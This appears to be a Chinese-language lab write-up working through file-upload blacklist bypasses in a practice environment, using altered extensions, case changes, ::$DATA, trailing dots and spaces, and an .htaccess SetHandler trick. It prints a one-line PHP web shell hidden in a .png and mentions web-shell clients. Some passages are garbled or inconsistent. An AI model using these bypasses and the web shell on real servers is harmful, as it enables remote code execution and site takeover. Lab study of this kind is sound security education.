原理:黑名单绕过之修改后缀名
修改文件类型和数据包内容类型,都被拦截了,不过通过提示内容,外面知道这是黑名单滤过
黑名单是一种不安全,可以各种方法进行绕过
下图是常见的黑名单绕过方法
上传php文件,burp抓包,修改文件名为1.php3
放包,查看后台文件
黑名单更加丰富,清洗文件没有问题,但在生成上传文件的绝对路径使用了file_name,注意这个是没有后缀清洗过的.
这里就会有一个问题:如果我上传文件后,通过了黑名单验证,就可以上传成功,这里可以利用配置文件.htaccess或.user.ini文件,将非黑名单的文件当作php文件执行
$img_path = UPLOAD_PATH.'/'.$file_name;
利用 .htaccess 文件的特点,使其所在目录下的所有文件以php文件执行
分别上传这两份文件
.htaccess
SetHandler application/x-httpd-php
.png
@eval($_POST['a']);?>
分别上传.htaccess文件和一个jpg/png格式的文件
分别用蚁剑和菜刀,都没有连接到,原因未知,不过可以网页访问
参考某博客的方法,不可行
Apache里的httpd.conf 添加了执行语句,也不可
需要解决下htacess文件绕过,蚁剑返回空数据
跟第四关最大的不同,就是加多限制了htaccess文件,发现没有大小写转换函数,说明可以利用大小写绕过
上传->抓包->改包->放包
改包:将XXX.php 修改为 XXX.php
上传失败,未找到原因
解析下为什么可以用两个点号,绕过黑名单验证
在源码上,我们可以看到一个函数 strrchr($file_name, ‘.’),它是专门负责去除点号的,但它只会执行一次
增加的两个点里
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
利用**:: D A T A ∗ ∗ ,进行字符串绕过什么是 : : DATA**,进行字符串绕过 什么是:: DATA∗∗,进行字符串绕过什么是::DATA?
上传文件时,生成上传文件的绝对路径是用file_name 拼接上去,但file_name 只删除了尾点,我们可以利用Win10的特性,会自动忽略掉尾部空格和点号
但我们上传了XXX.php文件,然后改成 XXX.php. . ,会通过in_array函数的验证,生成绝对路径时 变成 XXX.php_. ( **_表示空格 **) ,win10会忽略掉这两个
根据网上的教学,用点空格点的方法绕过
也就是XXX.php 改成 **XXX.php. . ** ,但提交后发现不可行,报错,未找到原因
$file_name = str_ireplace($deny_ext,"", $file_name);